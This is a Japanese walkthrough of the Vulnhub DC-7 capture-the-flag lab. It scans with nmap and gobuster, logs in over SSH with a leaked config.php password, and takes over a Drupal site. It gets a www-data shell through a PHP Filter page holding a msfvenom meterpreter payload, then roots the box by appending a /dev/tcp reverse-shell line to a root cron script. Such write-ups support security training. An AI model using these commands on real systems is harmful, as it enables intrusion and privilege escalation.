ツールと脆弱性情報#
- netdiscover
- nmap
- dirb
- dirsearch
- gobuster
- droopescan
- cron ジョブ特権昇格
** 一部ツールの使い方と詳細説明はこのシリーズの第一篇の記事を参照してください:bossplayersCTF:1-Vulnhub ウォークスルー **
0x00 情報収集#
ターゲット機のスキャン情報#
netdiscover
の-r
パラメータで192.168.1.0/16
をスキャンした結果は以下の通り:
nmap
でホストとポート情報をスキャン:
nmap -sS -A -n -T4 -p- 192.168.1.8
robots.txt
には特に利用できるものはなく、ホームページの最下部にはPowered by Drupal
と書かれている。
パスのスキャン#
dirb
でパスをスキャン:
dirb http://192.168.1.8
dirsearch
python3 dirsearch.py -t 50 -e .php,.txt,.zip,.html -x 400,403,404,500,503,514,564 -u http://192.168.1.8
gobuster
gobuster dir -u http://192.168.1.8 -s 200,301,302 -t 50 -q -w /usr/share/seclists/Discovery/Web-Content/big.txt
0x01 脆弱性スキャン#
一通りディレクトリを見て回ったが、特に目立ったものはなく、user/login
画面にも弱いパスワードは見当たらなかった:
さらに、バックエンドでは 5 回のログイン失敗で一時的にロックされる制限があり、ウェブサイトのフレームワークとテンプレートから攻めるしかない。
Github
上にはDrupal
向けの脆弱性スキャンツールとしてdroopescan
とdrupwn
がある。
しかし後者は使いにくいため紹介はしない。
git clone https://github.com/droope/droopescan
cd droopescan
pip install -r requirements.txt
./droopescan scan drupal -u http://192.168.1.9/ -t 32
しかし脆弱性データベースにはスキャン結果のバージョンが含まれていなかった:
cms
自体の脆弱性は利用できないので、作者自身を攻撃することにした::quyin:OK::
0x01 一般アカウントの取得#
ホームページの下部にはPowered by Drupal
の他に、作者の名前@DC7USER
があり、検索したところtwitter
アカウントであることがわかった:
また、ホームページには大きなgithub
リンクがあり、作者は一つのリポジトリstaffdb
しか持っていなかった。
config.php
にはアカウントのパスワードとデータベース名が明記されている:
$servername = "localhost";
$username = "dc7user";
$password = "MdR3xOgB7#dW";
$dbname = "Staff";
そこでssh
でログインした:ssh dc7user@192.168.1.9
、dc7user
のshell
を取得:
0x02 shell の取得#
shell
を取得したら、まずは現在のディレクトリにどんなファイルがあるか確認する:
mbox
が目立つので、確認してみる:
メールの内容はバックアップのログで、呼び出されているスクリプトは/opt/scripts/backups.sh
である。
どうやらroot
権限で実行されているようだ。もし現在のユーザーがスクリプトの書き込み権限を持っていれば、特権昇格が可能である。
調べたところ、www-data
とroot
ユーザーのみが変更できる内容で、Drupal
サイトを管理するためのshell
である。
その中に私の注意を引く一文があった:
drush sql-dump --result-file=/home/dc7user/backups/website.sql
調べたところ、このdrush
コマンドはパスワードを変更するために使用できる:
drush user-password USERNAME --password="SOMEPASSWORD"
そこでadmin
のパスワードを変更しようとしたが、特定のディレクトリ(例:/var/www/html
)に移動しないと変更できない:
管理者アカウントを取得した後、ウェブサイトにログインしてshell
をリバウンドさせる。
セキュリティ上の理由から、PHP Filter
はDrupal
コアから削除されている。
その後、モジュールとして存在し、手動でダウンロードしてインストールすることができる:
ウェブサイトのモジュールインストール画面/admin/modules
を開く:
モジュールphp
を検索し、先ほどインストールしたPHP
を選択して、install
をクリックしてモジュールを起動:
モジュールがインストールされたら、脆弱性を利用し始めることができる。Content
で新しいBasic page
を作成し、
Title
にページの名前webshell
を入力し、Body
にリバウンドshell
のPHP
コードを入れる。
ここではmsfvenom
で生成したphp shell
を使用する:
msfvenom -p php/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=3333 -f raw
Text format
の位置はPHP code
を選択:
完了したら、操作せずにkali
でポートをリッスンする。
msfconsole
handler -H 192.168.1.2 -P 3333 -p php/meterpreter/reverse_tcp
最後にPreview
ボタンをクリックする。最初は成功しないかもしれないので、Preview
を終了して再度試みればよい:
取得したshell
はwww-root
ユーザーのものである:
0x03 backups.sh で root 権限を取得#
以前のメールにあったバックアップの cron ジョブで使用されるスクリプト/opt/scripts/backups.sh
はroot
とwww-data
ユーザーのみが変更できる。
したがって次は、リバウンドshell
のコードをbackups.sh
スクリプトに追加することになる。
(cron ジョブはroot
権限で実行されるため、リバウンドしてくるshell
もroot
ユーザーになる)
その後、kali
で該当ポートをリッスンし、cron ジョブの実行を待つ:
シェルを使ってコマンドラインに入る
/bin/bash:python -c 'import pty;pty.spawn("/bin/bash")'
cd /opt/scripts/
別の端末で指定ポートをリッスン:nc -lvp 3456
リバウンドシェルコードをbackups.shに書き込む:echo "0<&198-;exec 198<>/dev/tcp/192.168.1.2/3456;sh <&198 >&198 2>&198" >> backups.sh
ターゲット機が定期的なタスクを実行するのを待つことで、root
のshell
を取得できる:
成功裏にflag
を取得:
この記事は終わりです。
参考記事: